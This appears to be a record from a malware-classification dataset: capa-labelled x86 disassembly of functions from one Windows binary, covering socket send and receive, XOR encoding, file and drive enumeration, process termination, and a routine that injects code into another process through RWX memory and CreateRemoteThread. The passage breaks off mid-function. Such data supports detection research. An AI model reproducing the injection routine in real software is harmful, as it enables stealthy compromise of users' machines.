joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e5934
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004e526c
xor eax, eax
push ebp
push 0x4e5aa5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x4e5a8f
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x4e597f
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e5989
call fcn.00404448
jmp 0x4e5aac
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d404
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x4e5a84
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x4e5a37
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x4e5a24
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.004e58ec
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x4e5ab8]
cmp dl, byte [eax + 0x28]
je 0x4e5a8b
call fcn.0040cd44
jmp 0x4e5a8b
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d424
jmp 0x4e5a8b
cmp ecx, ebx
jge 0x4e5a53
mov eax, dword [ebp - 0xc]
add eax, ecx
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d424
jmp 0x4e5989
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d404
cmp edx, dword [esp + 4]
jne 0x4e5a73
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4e5989
push ebp
call fcn.004e58ec
pop ecx
jmp 0x4e5a8b
push ebp
call fcn.004e58ec
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5aac
mov eax, dword [ebp - 4]
call fcn.004e5278
ret
mov al, byte [ebp - 5]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e5abc
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e5bde
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004e526c
xor eax, eax
push ebp
push 0x4e5bc1
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e5b0c
call fcn.00404448
jmp 0x4e5bc8
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4e5bab
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4e5bab
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4e5bab
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c538
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4e5bf8
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4fb4a0]
mov dl, 1
mov eax, dword [0x4e4580]
call fcn.0040ce68
call fcn.0040439c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5bc8
mov eax, dword [ebp - 4]
call fcn.004e5278
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5be5
lea eax, [ebp - 0x28]
call fcn.004049e4
ret
Function at 0x4e5c44
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e5d8e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004e526c
xor eax, eax
push ebp
push 0x4e5d71
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x4e5ca9
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4e5ca9
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x4e5d5b
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e5cbc
call fcn.00404448
jmp 0x4e5d78
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4e5d5b
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4e5d5b
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4e5d5b
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c538
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4e5da8
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4fb4a0]
mov dl, 1
mov eax, dword [0x4e4580]
call fcn.0040ce68
call fcn.0040439c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5d78
mov eax, dword [ebp - 4]
call fcn.004e5278
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5d95
lea eax, [ebp - 0x28]
call fcn.004049e4
ret

Function at 0x4e64c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, edx
test ebx, ebx
js 0x4e64de
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x4e64d7
mov eax, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e654b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004049e4
xor esi, esi
mov edi, 3
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0xc]
mov dl, byte [esi + 0x4fa9d4]
xor dl, byte [ebx]
call fcn.00404bcc
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.00404cac
mov eax, dword [ebp - 8]
lea eax, [esi + 1]
mov ecx, 0xa
cdq
idiv ecx
mov esi, edx
inc ebx
dec edi
jne 0x4e6506
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e6552
lea eax, [ebp - 0xc]
call fcn.004049e4
ret
Function at 0x4e6798
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e6881
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004049e4
mov eax, dword [ebp - 4]
call fcn.00404ca4
test eax, eax
jle 0x4e6846
mov dword [ebp - 0xc], eax
mov esi, 1
call fcn.00402c30
mov edx, 0xa
xor eax, eax
call fcn.0042ea20
mov ebx, eax
lea edi, [esi + ebx]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x10]
mov edx, ebx
mov ecx, edi
add dl, cl
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + esi - 1]
call fcn.00404bcc
push dword [ebp - 0x10]
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.004e6560
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov eax, ebx
xor eax, edi
mov edx, 2
call fcn.004092a8
push dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov edx, 4
call fcn.00404d64
inc esi
dec dword [ebp - 0xc]
jne 0x4e67df
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.004e6644
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
call fcn.00404cac
mov eax, dword [ebp - 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e6888
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret

Function at 0x4e84cc
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4e84d5
mov eax, dword [ebp - 4]
add esp, 0xfffffebc
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e85b0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4fb4a4]
mov byte [eax], 0
mov dword [ebx], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.00402f90
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403404
call fcn.00402a58
test eax, eax
jne 0x4e858d
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10145]
mov ecx, 0xfff1
lea eax, [ebp - 0x154]
call fcn.004030ec
mov dx, word [ebp - 8]
test dx, dx
jbe 0x4e8587
lea eax, [ebp - 0x10145]
xor ecx, ecx
mov cl, byte [eax]
mov esi, dword [ebx]
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x4faa08]
mov esi, dword [ebx]
shr esi, 8
xor ecx, esi
mov dword [ebx], ecx
inc eax
dec dx
jne 0x4e8563
cmp dword [ebp - 8], 0
jne 0x4e853a
lea eax, [ebp - 0x154]
call fcn.0040310c
not dword [ebx]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e85b7
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e9068
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4e90e7
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x41
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404bcc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x4e90fc
call fcn.00404cf0
mov eax, dword [ebp - 4]
call fcn.00404ea4
push eax
call sub.kernel32.dll_GetDriveTypeA
test eax, eax
je 0x4e90c6
cmp eax, 1
je 0x4e90c6
cmp eax, 3
jne 0x4e90c6
mov eax, dword [esi]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp ebx, 0x5b
jne 0x4e9086
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e90ee
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a08
ret
Function at 0x4e96c0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe9c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e98a9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4e986d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x418614]
call fcn.00403ba0
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00402970
call fcn.00402934
lea eax, [ebp - 0x150]
push eax
push 0x4e98bc
call sub.kernel32.dll_FindFirstFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x4e97b1
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404c54
lea eax, [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov eax, dword [ebp - 0x154]
call fcn.004096cc
test al, al
je 0x4e979a
lea eax, [ebp - 0x158]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov edx, dword [ebp - 0x158]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x150]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4e9749
push esi
call sub.kernel32.dll_FindClose_1
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e9858
inc eax
mov dword [ebp - 0x10], eax
xor esi, esi
lea ecx, [ebp - 0x15c]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x15c]
call fcn.004e9010
cmp edx, 0
jne 0x4e97f5
cmp eax, 0x172216b0
jbe 0x4e984e
jmp 0x4e97f7
jle 0x4e984e
lea ecx, [ebp - 0x160]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x160]
call fcn.004e9010
cmp edx, 0
jne 0x4e981f
cmp eax, 0x172239d8
jae 0x4e984e
jmp 0x4e9821
jge 0x4e984e
mov byte [ebp - 5], 1
lea ecx, [ebp - 0x164]
mov edx, esi
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x164]
mov eax, 0x4ff498
call fcn.00404a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e987b
inc esi
dec dword [ebp - 0x10]
jne 0x4e97cd
mov eax, ebx
call fcn.00403bd0
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e987b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e98b0
lea eax, [ebp - 0x164]
mov edx, 5
call fcn.00404a08
lea eax, [ebp - 0xc]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e997c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4e9af6
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.004b732c
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004b734c
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4e9ac2
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409a24
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408cdc
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408cdc
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404df0
je 0x4e9a9c
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408cdc
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408cdc
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404df0
jne 0x4e9ab3
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004b736c
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4e99fd
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e9afd
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e9fd8
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe2c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d0], ecx
xor eax, eax
push ebp
push 0x4ea1aa
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4ea06b
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4ea1c0
lea eax, [ebp - 0x1cc]
call fcn.00402f90
lea eax, [ebp - 0x1cc]
call fcn.00402d20
call fcn.00402934
lea ecx, [ebp - 0x1d0]
mov eax, dword [0x4ff4f0]
mov eax, dword [eax + 0x23c]
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d0]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ea075
xor eax, eax
push ebp
push 0x4ea182
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4ff4f0]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
test eax, eax
jle 0x4ea12f
xor eax, eax
push ebp
push 0x4ea125
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4ff4f0]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
mov ebx, eax
test ebx, ebx
jle 0x4ea11b
mov esi, 1
lea eax, [ebp - 0x1cc]
call fcn.00402d2c
call fcn.00402934
lea eax, [ebp - 0x1cc]
call fcn.00403684
call fcn.00402934
lea ecx, [ebp - 0x1d4]
mov eax, dword [0x4ff4f0]
mov eax, dword [eax + 0x23c]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
inc esi
dec ebx
jne 0x4ea0c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ea12f
lea eax, [ebp - 0x1cc]
call fcn.0040310c
call fcn.00402934
push 0x4ea1c8
push 0x4ea1ec
call sub.kernel32.dll_MoveFileA
push 0
push 0x4ea20c
push 0x4ea234
call sub.kernel32.dll_CopyFileA
push 0x4ea1ec
push 0x4ea1c8
call sub.kernel32.dll_MoveFileA
mov eax, 0x4ea244
call fcn.00409904
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ea18c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ea1b1
lea eax, [ebp - 0x1d4]
mov edx, 2
call fcn.00404a08
ret
Function at 0x4eef60
Capabilities:
Get disk information
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x318], ecx
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x314], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4ef11e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004049e4
lea eax, [ebp - 0x20a]
xor ecx, ecx
mov edx, 0x202
call fcn.00403274
push 0
push 1
push 0
push 2
push 0
push ebx
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4ef0f8
push 1
push 0
push 0
push 4
push ebx
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
test edi, edi
je 0x4ef0f2
push 0x104
call sub.kernel32.dll_GetCurrentProcess
lea ecx, [ebp - 0x20a]
mov edx, edi
call fcn.004b7048
test eax, eax
je 0x4ef0ec
lea edx, [ebp - 8]
lea eax, [ebp - 0x20a]
call fcn.00409dc0
lea eax, [ebp - 0x20a]
push eax
push 0x1ff
call sub.kernel32.dll_GetLogicalDriveStringsA
test eax, eax
je 0x4ef0ec
lea esi, [ebp - 0x20a]
add esi, 2
mov byte [esi], 0
sub esi, 2
lea eax, [ebp - 0x30e]
xor ecx, ecx
mov edx, 0x104
call fcn.00403274
push 0x104
lea eax, [ebp - 0x30e]
push eax
push esi
call sub.kernel32.dll_QueryDosDeviceA
test eax, eax
je 0x4ef0e0
lea eax, [ebp - 0x314]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x314]
mov edx, dword [ebp - 8]
call fcn.0040db0c
test eax, eax
je 0x4ef0e0
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x31c]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov edx, dword [ebp - 0x31c]
xor ecx, ecx
mov eax, dword [ebp - 8]
call fcn.00434c84
mov eax, dword [ebp - 0x318]
push eax
lea eax, [ebp - 0x320]
mov edx, esi
call fcn.00404bdc
mov edx, dword [ebp - 0x320]
mov eax, dword [ebp - 4]
pop ecx
call fcn.00404cf0
jmp 0x4ef0f8
add esi, 4
cmp byte [esi], 0
jne 0x4ef035
push edi
call sub.kernel32.dll_UnmapViewOfFile
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ef125
lea eax, [ebp - 0x320]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 8]
call fcn.004049e4
ret
Function at 0x4ef154
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, 0x4ef12c
sub esi, 0x4ef130
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x4ef1f3
push 0x4ef1fc
call sub.kernel32.dll_GetModuleHandleA_2
mov ebp, eax
push 0x4ef20c
push ebp
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
push 4
push 0x1000
push 8
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [esp + 4]
push eax
push 8
lea eax, [esp + 0x10]
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
lea eax, [esp + 4]
push eax
push esi
push 0x4ef130
push ebp
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
push edi
push ebp
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4ef2c0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push ebx
push esi
push ecx
mov ebx, 0x400
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
push 0x8000
push ebx
push esi
call sub.kernel32.dll_VirtualFree_1
mov ebx, dword [esp]
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x4ef315
mov eax, esi
jmp 0x4ef317
xor eax, eax
pop edx
pop esi
pop ebx
ret
Function at 0x4ef31c
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x4ef324
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4ef4de
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004ef2c0
mov esi, eax
test esi, esi
je 0x4ef4b3
mov edi, dword [esi]
test edi, edi
jl 0x4ef4b3
inc edi
xor ebx, ebx
mov eax, dword [0x4fb398]
mov eax, dword [eax]
call fcn.00478300
mov eax, ebx
add eax, eax
cmp byte [esi + eax*8 + 8], 0x1c
jne 0x4ef4ab
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
push eax
push 0
push 0x7a
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.00409280
mov eax, dword [ebp - 0x18]
call fcn.00404ea4
push eax
call sub.kernel32.dll_OutputDebugStringA
cmp dword [ebp - 8], 0
jbe 0x4ef4ab
push 2
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_GetCurrentProcess
push eax
mov eax, ebx
add eax, eax
movzx eax, word [esi + eax*8 + 0xa]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_DuplicateHandle
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004eef60
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
call fcn.00408d18
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.00404fe8
test eax, eax
jle 0x4ef499
mov eax, dword [0x4ff500]
mov eax, dword [eax + 0x30c]
mov eax, dword [eax + 0x22c]
call fcn.004438b8
mov dword [ebp - 0x14], eax
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00409280
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
call fcn.00443358
lea edx, [ebp - 0x24]
mov eax, ebx
add eax, eax
mov eax, dword [esi + eax*8 + 4]
call fcn.004ef218
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x28]
mov eax, ebx
add eax, eax
movzx eax, word [esi + eax*8 + 0xa]
call fcn.00409194
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x2c]
call fcn.00409280
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
push eax
